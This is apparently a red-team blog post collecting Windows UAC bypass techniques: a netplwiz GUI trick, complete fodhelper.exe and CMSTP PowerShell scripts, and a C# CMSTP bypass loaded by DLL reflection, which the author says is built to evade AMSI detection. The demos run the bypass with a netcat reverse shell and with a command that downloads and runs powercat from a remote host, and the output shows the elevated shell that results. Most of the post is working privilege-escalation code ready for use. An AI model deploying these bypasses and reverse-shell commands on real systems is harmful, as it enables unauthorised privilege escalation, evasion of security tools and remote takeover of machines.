UAC

UAC (User Account Control) is a security feature, introduced from Windows 7 and onward versions of Windows. This prevents that even a local administrator account can’t execute changes to operating system, unless the user specifically chooses to. It is very common to see desktop users working with Administrators account (not recommended, but common), so even if a Malware, using a compromised Local Administrator account, tries to change something in the registry, or create a new service in the system, UAC won’t let that happen.

Until someone found a way to bypass it. And there are a lot of UAC bypasses since Windows 7. It became so common that even Microsoft treats this kind of problem as “non-priority” security issue.

One way of checking if you are in a Medium Integrity process is to run the command whoami /privand see if all privileges are available.
PS C:\Users\jacco> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
PS C:\Users\jacco>
For a UAC bypass to be successful the following components need to be met:* An intermediate-level integrity process.
* Login credentials acquired for a standard user account belonging to an administrators group.
* The Windows executable must be signed by Microsoft code signing certificate.
* Windows executable must be located in a secure directory.
* Windows executable also must specify the auto-elevate property in their manifest.

Windows UAC Bypasses

1. This particular Windows UAC bypass is courtesy of Dhiraj Mishra is super easy to execute (it can be done in less than 30 seconds).

  • In the Windows Run prompt type: netplwiz.exe;
  • Select the “Advanced” tab;
  • Select the “Advanced” option on the Advanced user management section;
  • The Local Users and Groups (Local) box will open; Select “Help Topics;”
  • Right-click and select “View Source;”
  • Select “File,” “Open;”
  • Navigate to “Computer>>Local Disk (C:)>>Windows>>System32;”
  • Change selection to “All Files;”
  • Find and select “Cmd.exe;”
  • Right-click “Cmd.exe” and select “Run as administrator.” Voila! Prestidigitation. An administrator Cmd Prompt appears.

I verified that this particular UAC bypass still works on the latest Windows 10 build as the date of this publication, but as some have noted it will not work depending on how UAC is enabled on the system as long as “always notify” was not set by the administrator.

2. Fileless UAC bypass.

German Masters student Christian B. is credited with discovering the fodhelper.exe UAC bypass. The “fodhelper.exe”program allows users to manage optional features within the Windows Settings “Apps & Features” screen. The bypass, which is similar to a previously published “eventvwr.exe” bypass, abuses the trust relationship of auto-elevation assigned to trusted binaries that Microsoft assigns to trusted folders such as C:\Windows\System32. Since “fodhelper.exe” is a trusted binary, Windows doesn’t prompt for administrator approval.

C:\Windows\System32\fodhelper.exe

The “fodhelper.exe” binary links to two unique registry keys, one of which is editable and can be weaponized to use in combination with malware capable of running scripts in the background in elevated administrator access.

Editable Registry Key associated with “fodhelper.exe” binary

This UAC bypass executes in memory, so there’s no file dropping or DLL hijacking involved. For this bypass to work correctly, however, the user account must be part of the local administrator group. I demonstrate how a standard user account can be elevated to the local administrator group in chapter 14, “Network Domination & Persistence.” However, most users commonly use local admin-level accounts as their default account to perform everyday tasks on their home PCs. Therefore, this UAC bypass remains a credible vulnerability. For security administrators, setting UAC to “Always notify” will protect against this bypass as well.

FodhelperBypass.ps1

<#
.SYNOPSIS  
    This script is a proof of concept to bypass the User Access Control (UAC) via fodhelper.exe

    It creates a new registry structure in: "HKCU:\Software\Classes\ms-settings\" to perform an UAC bypass to start any application. 
    
    ATTENTION: Do not try this on your productive machine! 


.NOTES  
    Function   : FodhelperBypass
    File Name  : FodhelperBypass.ps1 
    Author     : Christian B. - winscripting.blog 


.LINK  
        
    https://github.com/winscripting/UAC-bypass

.EXAMPLE  

     Load "cmd.exe /c powershell.exe" (it's default):
     FodhelperBypass 

     Load specific application:
     FodhelperBypass -program "cmd.exe"
     FodhelperBypass -program "cmd.exe /c powershell.exe"
     

#>

function FodhelperBypass(){ 
 Param (
           
        [String]$program = "cmd /c start powershell.exe" #default
       )

    #Create registry structure
    New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $program -Force

    #Perform the bypass
    Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

    #Remove registry structure
    Start-Sleep 3
    Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

}
FodhelperBypass 

3. BypassUAC-CMSTP.ps1

PS C:\pentest> import-module .\BypassUAC-CMSTP.ps1
PS C:\pentest> type .\BypassUAC-CMSTP.ps1
function BypassUAC-CMSTP {param($comando)
<#
.SYNOPSIS
BypassUAC CMSTP.
PowerShell Function: BypassUAC-CMSTP
Author: Luis Vacas de Santos
Dependencias Requeridas: Ninguna
Dependencias Opcionales: Ninguna
.DESCRIPTION
BypassUAC-CMSTP Bypass to the UAC using CMSTP.
.EXAMPLE
BypassUAC-CMSTP -comando "nc 10.10.10.10 443 -e cmd.exe"
-----------
Ejecutariamos nc con privilegios elevados.

#>
if ($comando -eq $null) {break}
$inf = @"
[version]
Signature=`$chicago$
AdvancedINF=2.5

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]
wscript c:\windows\temp\owned.vbs
taskkill /IM cmstp.exe /F

[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7

[AllUSer_LDIDSection]
"HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""

[Strings]
ServiceName="CabeshaVPN"
ShortSvcName="CabeshaVPN"
"@

$proceso = @"
Dim WShell
Set WShell = CreateObject("WScript.Shell")
WShell.Run "CABESHAOWNED", 0
Set WShell = Nothing
"@

$proceso = $proceso.Replace("CABESHAOWNED",$comando)
$proceso | Out-File c:\windows\temp\owned.vbs -Encoding ascii
if ((Get-Process cmstp -ErrorAction SilentlyContinue).count -ge 1) { Get-Process cmstp | Stop-Process}
$inf | Out-File c:\windows\temp\cabesha.inf -Encoding ascii
cmstp.exe /au c:\windows\temp\cabesha.inf
$wshell = New-Object -ComObject wscript.shell;
sleep -Seconds 1
$proceso_id = (Get-Process "cmstp").id
if ($proceso_id.count -ge 1) {foreach ($procc in $proceso_id) {$wshell.AppActivate($procc);sleep -Seconds 1; $wshell.SendKeys('{ENTER}')}}
$wshell.AppActivate($proceso_id)
cmstp.exe /s c:\windows\temp\cabesha.inf
$wshell.SendKeys('{ENTER}')
$shell = New-Object -ComObject "Shell.Application"
$shell.UndoMinimizeALL()
$wshell.SendKeys('{ENTER}')
sleep -Seconds 5
cmstp /u /s c:\windows\temp\cabesha.inf
sleep -Seconds 5
Remove-Item c:\windows\temp\cabesha.inf
Remove-Item c:\windows\temp\owned.vbs


}

PS C:\pentest> BypassUAC-CMSTP -comando "nc 192.168.178.15 443 -e cmd.exe"
True
True

or

PS C:\pentest> BypassUAC-CMSTP -comando "powershell.exe -NoP -exec Bypass IEX (New-Object System.Net.Webclient).Download
String('http://192.168.178.15/powercat.ps1');powercat -c 192.168.178.15 -p 9876 -e cmd"
c:\Python37>python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.178.15 - - [25/May/2019 19:35:14] "GET /powercat.ps1 HTTP/1.1" 200 -
C:\Users\jacco>nc -lvp 9876
listening on [any] 9876 ...
connect to [192.168.178.15] from LT-JACCO [192.168.178.15] 9155
Microsoft Windows [Version 10.0.17134.765]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
========================================= ================================================================== ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Disabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Disabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Disabled
SeCreatePagefilePrivilege Create a pagefile Disabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Disabled
SeUndockPrivilege Remove computer from docking station Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled

C:\Windows\system32>

4 DLL reflection

I digged the internet for some bypass that could affect my own machine. And I found the amazing research of Oddvar Moe about exploiting microsoft “cmstp.exe” as a way to bypass UAC.

Later on, after more reading from Oddvar post, I stumbled with Tyler Applebaum powershell script that could trigger this vulnerabiity as well.

With all these information, I decided to work in this technique and develop my own, but to keep originality, I chose to code it in C#, so we can produce a PowerShell script with DLL reflection and very few strings so AMSI will have a hard time blocking it.

The resulting C# code is this one:

/* 
UAC Bypass using CMSTP.exe microsoft binary

Based on previous work from Oddvar Moe
Research on CMSTP.exe

And this PowerShell script of Tyler Applebaum
https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1

Code author: Andre Marques (@_zc00l)
*/
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Windows;
using System.Runtime.InteropServices;

public class CMSTPBypass
{
    // Our .INF file data!
    public static string InfData = @"[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
REPLACE_COMMAND_LINE
taskkill /IM cmstp.exe /F

[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7

[AllUSer_LDIDSection]
""HKLM"", ""SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE"", ""ProfileInstallPath"", ""%UnexpectedError%"", """"

[Strings]
ServiceName=""CorpVPN""
ShortSvcName=""CorpVPN""

";

    [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
    [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);

    public static string BinaryPath = "c:\\windows\\system32\\cmstp.exe";

    /* Generates a random named .inf file with command to be executed with UAC privileges */
    public static string SetInfFile(string CommandToExecute)
    {
        string RandomFileName = Path.GetRandomFileName().Split(Convert.ToChar("."))[0];
        string TemporaryDir = "C:\\windows\\temp";
        StringBuilder OutputFile = new StringBuilder();
        OutputFile.Append(TemporaryDir);
        OutputFile.Append("\\");
        OutputFile.Append(RandomFileName);
        OutputFile.Append(".inf");
        StringBuilder newInfData = new StringBuilder(InfData);
        newInfData.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
        File.WriteAllText(OutputFile.ToString(), newInfData.ToString());
        return OutputFile.ToString();
    }

    public static bool Execute(string CommandToExecute)
    {
        if(!File.Exists(BinaryPath))
        {
            Console.WriteLine("Could not find cmstp.exe binary!");
            return false;
        }
        StringBuilder InfFile = new StringBuilder();
        InfFile.Append(SetInfFile(CommandToExecute));

        Console.WriteLine("Payload file written to " + InfFile.ToString());
        ProcessStartInfo startInfo = new ProcessStartInfo(BinaryPath);
        startInfo.Arguments = "/au " + InfFile.ToString();
        startInfo.UseShellExecute = false;
        Process.Start(startInfo);

        IntPtr windowHandle = new IntPtr();
        windowHandle = IntPtr.Zero;
        do {
            windowHandle = SetWindowActive("cmstp");
        } while (windowHandle == IntPtr.Zero);

        System.Windows.Forms.SendKeys.SendWait("{ENTER}");
        return true;
    }

    public static IntPtr SetWindowActive(string ProcessName)
    {
        Process[] target = Process.GetProcessesByName(ProcessName);
        if(target.Length == 0) return IntPtr.Zero;
        target[0].Refresh();
        IntPtr WindowHandle = new IntPtr();
        WindowHandle = target[0].MainWindowHandle;
        if(WindowHandle == IntPtr.Zero) return IntPtr.Zero;
        SetForegroundWindow(WindowHandle);
        ShowWindow(WindowHandle, 5);
        return WindowHandle;
    }
}

Name it “Source.cs”.

To compile it, use the following syntax, in a PowerShell shell that is in the same directory as this source.

Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "CMSTP-UAC-Bypass.dll"

Now you have this “dll” with our C# code.

To use this bypass directly from DLL, check this powershell trick:

PS C:\> [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwd\CMSTP-UAC-Bypass.dll"))

GAC    Version        Location
---    -------        --------
False  v4.0.30319

PS C:\> [CMSTPBypass]::Execute("C:\Windows\System32\cmd.exe")

And a high-integrity cmd.exe should pop up in your screen!

As you can see, we have gone from a non-UAC process and spawned a Administrator process!

I tested this technique with Windows 10 build 17134, version 1803 and it worked flawlessly!

Summary

Microsoft has repeatedly downplayed UAC bypasses as not qualifying as a security boundary. However, the fact remains that many systems always run everything at the local admin permission level which makes UAC bypasses very effective for Red Teamers. Wise security administrators should NEVER trust UAC, should not run as split-token admin, and ALWAYS use a non-admin user account for your non-admin tasks.

Author: Jacco Straathof

References used

https://0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-in-newer-Windows-versions.html